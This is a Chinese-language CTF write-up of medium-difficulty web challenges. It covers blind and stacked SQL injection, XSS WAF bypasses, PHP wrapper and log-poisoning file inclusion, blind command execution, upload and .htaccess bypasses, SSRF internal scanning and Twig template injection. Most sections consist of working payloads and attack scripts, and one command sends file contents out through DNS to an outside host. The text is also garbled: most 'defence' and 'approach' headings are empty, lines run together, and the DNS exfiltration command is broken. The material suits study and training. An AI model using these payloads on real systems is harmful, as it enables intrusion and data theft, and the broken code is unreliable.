
在CTF竞赛中,中难度Web安全题目是连接基础与高级的重要桥梁。这类题目不仅考察选手对基本漏洞的理解,还要求选手掌握更复杂的漏洞利用技巧、工具使用和代码分析能力。本文将详细解析2025年CTF竞赛中出现的Web安全中难度真实题目,帮助读者提升Web安全技能,为解决高难度题目打下基础。
中难度Web安全题目通常具有以下特点:
目录
├── 第一章:高级SQL注入技巧
├── 第二章:复杂XSS攻击与防御绕过
├── 第三章:高级文件包含漏洞利用
├── 第四章:命令执行高级技巧
├── 第五章:文件上传绕过与突破
├── 第六章:CSRF与SSRF漏洞深度利用
├── 第七章:Web框架安全漏洞分析
└── 第八章:学习总结与进阶指导题目描述:目标网站存在SQL注入漏洞,但不会直接显示错误信息,尝试通过盲注获取数据库信息。
难度级别:⭐⭐⭐
解题思路:
解题过程:
http://example.com/product.php?id=1id=1' AND SLEEP(5)--+,发现页面响应时间明显增加import requests
import time
url = "http://example.com/product.php?id=1' AND (SELECT IF(SUBSTRING((SELECT DATABASE()),1,1)='a',SLEEP(3),0))--+"
# 获取数据库名
db_name = ""
for i in range(1, 20):
for c in 'abcdefghijklmnopqrstuvwxyz0123456789_{}':
payload = f"1' AND (SELECT IF(SUBSTRING((SELECT DATABASE()),{i},1)='{c}',SLEEP(2),0))--+"
start_time = time.time()
requests.get(url.replace("1' AND (SELECT IF(SUBSTRING((SELECT DATABASE()),1,1)='a',SLEEP(3),0))--+", payload))
end_time = time.time()
if end_time - start_time > 1.5:
db_name += c
print(f"Database name so far: {db_name}")
break
if len(db_name) < i:
break
print(f"Database name: {db_name}")
# 类似地获取表名、字段名和数据FLAG{BLIND_SQL_INJECTION_REQUIRES_PATIENCE}原理分析:
基于时间的盲注是一种高级SQL注入技术,攻击者通过添加延时函数(如SLEEP()、WAITFOR DELAY等)来判断SQL语句是否被执行。这种注入方式适用于那些不直接显示错误信息的网站,通过观察响应时间的变化来推断数据库信息。
防御措施:
题目描述:目标网站存在SQL注入漏洞,尝试使用堆叠查询执行多条SQL语句。
难度级别:⭐⭐⭐
解题思路:
解题过程:
http://example.com/search.php?q=testq=test'; SELECT SLEEP(5)--+q=test'; INSERT INTO users (username, password, role) VALUES ('hacker', 'password', 'admin')--+FLAG{STACKED_QUERIES_ARE_POWERFUL}原理分析:
堆叠查询允许在一个请求中执行多条SQL语句,通过分号(;)分隔。这种技术的危害很大,攻击者可以执行任意SQL语句,包括查询、插入、更新、删除等操作,甚至可以修改数据库结构。
防御措施:
题目描述:目标网站部署了Web应用防火墙(WAF),尝试绕过WAF执行XSS攻击。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
<script>alert('XSS')</script><script>alert('XSS')</script><ScRiPt>alert('XSS')</ScRiPt><script<!--test--> >alert('XSS')</script><img src=x onerror=alert('XSS')><img src=x onerror=\u0061lert('XSS')>FLAG{WAF_BYPASS_REQUIRES_CREATIVITY}原理分析:
现代WAF通常使用正则表达式或特征匹配来检测XSS攻击,但这些规则往往存在绕过的可能性。攻击者可以通过各种编码技术、变形技术和混淆技术,构造复杂的XSS payload来绕过WAF的检测。
防御措施:
题目描述:目标网站存在DOM型XSS漏洞,尝试利用它执行JavaScript代码。
难度级别:⭐⭐⭐
解题思路:
解题过程:
function showMessage() {
var message = decodeURIComponent(location.hash.substr(1));
document.getElementById('message').innerHTML = message;
}
window.onload = showMessage;
window.onhashchange = showMessage;http://example.com/domxss.html#<img src=x onerror=alert('XSS')>FLAG{DOM_XSS_ATTACK}原理分析:
DOM型XSS是一种特殊的XSS漏洞,它不涉及服务器端的处理,而是通过修改页面的DOM结构来执行恶意脚本。这种漏洞通常出现在使用JavaScript动态更新页面内容的Web应用中。
防御措施:
题目描述:目标网站存在文件包含漏洞,尝试使用PHP封装协议执行代码。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
http://example.com/index.php?file=homefile=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==(base64编码的<?php system('ls'); ?>)file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy50eHQnKTsgPz4=FLAG{PHP_WRAPPERS_RCE}原理分析:
PHP提供了多种封装协议(wrapper),如data://、php://input、phar://等,这些协议可以用于读取文件内容、执行代码等。在文件包含漏洞中,攻击者可以利用这些协议来执行远程代码,绕过一些安全限制。
防御措施:
题目描述:目标网站存在文件包含漏洞,但无法直接访问敏感文件,尝试利用日志文件。
难度级别:⭐⭐⭐
解题思路:
解题过程:
file=../var/log/apache2/access.log<?php system($_GET['cmd']); ?>file=../var/log/apache2/access.log&cmd=lsFLAG{LOG_FILE_INCLUDE_RCE}原理分析:
Web服务器的日志文件记录了所有访问请求的信息,包括User-Agent、Referer等字段。如果攻击者能够向这些字段中注入PHP代码,并且能够通过文件包含漏洞包含这些日志文件,那么注入的PHP代码就会被执行。
防御措施:
题目描述:目标网站存在命令执行漏洞,但不会直接显示命令执行结果,尝试获取flag。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
http://example.com/exec.php?cmd=ping%20127.0.0.1cmd=ping%20$(whoami).xxxx.ceye.iocmd=cat%20flag.txt%20|%20base64%20|%20xargs%20-n1%20-echo%20|%20sed%20's/\/\/./\./g'|%20xargs%20-n1%20-echo%20|%20xargs%20dig%20@8.8.8.8FLAG{BLIND_COMMAND_EXECUTION}原理分析:
无回显命令执行是一种常见的安全挑战,攻击者无法直接看到命令执行的结果。在这种情况下,可以使用各种外带数据的技术,如DNS请求、HTTP请求、SMTP请求等,将命令执行结果发送到攻击者控制的服务器上。
防御措施:
题目描述:目标网站的命令执行功能进行了严格的过滤,尝试使用各种绕过技巧执行命令。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
cmd=tac${IFS}fla*(tac是cat的反向命令)FLAG{COMMAND_EXECUTION_BYPASS_MASTER}原理分析:
命令执行绕过是一种高级技巧,攻击者需要熟悉操作系统的命令行特性、shell语法和各种编码方法。常见的绕过技巧包括使用变量替换、命令连接、特殊字符、编码和变形等。
防御措施:
题目描述:目标网站的文件上传功能实施了多重验证,尝试绕过这些验证上传WebShell。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
http://example.com/uploads/shell.phtFLAG{MULTI_LAYER_FILE_UPLOAD_BYPASS}原理分析:
多维度文件上传绕过需要攻击者同时绕过前端验证、服务端的文件类型验证、文件扩展名验证、文件头验证和文件内容验证。攻击者通常需要构造一个包含合法文件特征但又包含恶意代码的文件,利用验证机制的漏洞成功上传。
防御措施:
题目描述:目标网站允许上传.htaccess文件,尝试利用它执行PHP代码。
难度级别:⭐⭐⭐
解题思路:
解题过程:
AddType application/x-httpd-php .jpgFLAG{HTACCESS_EXPLOITATION}原理分析:
.htaccess文件是Apache Web服务器的配置文件,它可以用来配置目录级别的访问控制、URL重写、文件类型等。如果攻击者能够上传.htaccess文件,就可以修改服务器的配置,例如将jpg文件设置为PHP文件执行。
防御措施:
题目描述:目标网站实施了CSRF令牌保护,但存在一些缺陷,尝试绕过这些保护发起CSRF攻击。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
FLAG{ADVANCED_CSRF_ATTACK}原理分析:
高级CSRF攻击通常结合了其他漏洞(如XSS)或利用了CSRF保护机制的缺陷。在这个例子中,攻击者通过XSS漏洞获取了用户的CSRF令牌,然后使用该令牌构造合法的CSRF请求,绕过了CSRF保护机制。
防御措施:
题目描述:目标网站存在SSRF漏洞,尝试利用它探测内网服务并获取信息。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
http://example.com/fetch.php?url=http://example.comurl=http://127.0.0.1,发现可以访问import requests
for ip in range(1, 255):
for port in [80, 8080, 443, 3306, 22]:
target = f"http://192.168.1.{ip}:{port}"
payload = f"http://example.com/fetch.php?url={target}"
try:
response = requests.get(payload, timeout=2)
if response.status_code == 200:
print(f"Found service at {target}")
except:
passurl=http://192.168.1.100:8080/adminFLAG{SSRF_INTERNAL_NETWORK_EXPLORATION}原理分析:
SSRF(服务器请求伪造)是一种允许攻击者诱导服务器发送请求到攻击者控制的目标的漏洞。这种漏洞的危害很大,攻击者可以利用它来访问服务器所在内网的资源,探测内网结构,甚至攻击内网中的其他系统。
防御措施:
题目描述:目标网站使用了特定的Web框架,尝试利用该框架的已知漏洞获取flag。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
FLAG{FRAMEWORK_VULNERABILITY_EXPLOITATION}原理分析:
Web框架特定漏洞是指存在于特定Web框架中的安全漏洞,如反序列化漏洞、远程代码执行漏洞、SQL注入漏洞等。这些漏洞通常是由于框架的设计缺陷或实现错误导致的,攻击者可以利用这些漏洞获取服务器的控制权限。
防御措施:
题目描述:目标网站使用了模板引擎,尝试利用模板注入漏洞执行代码。
难度级别:⭐⭐⭐⭐
解题思路:
解题过程:
http://example.com/welcome.php?name=Guestname={{7*7}},页面显示"Welcome, 49!",确认存在模板注入漏洞name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag.txt")}}FLAG{TEMPLATE_INJECTION_RCE}原理分析:
模板注入漏洞是指攻击者可以控制模板引擎的输入,从而执行任意代码或获取敏感信息。这种漏洞通常出现在使用模板引擎动态生成页面内容的Web应用中,攻击者可以通过构造特殊的模板语法来执行代码。
防御措施:
通过解析这些中难度的Web安全题目,我们可以总结出以下几点:
对于想要提升Web安全技能的选手,以下是一些进阶学习建议:
以下是一些在解决中难度Web安全题目时常用的高级工具: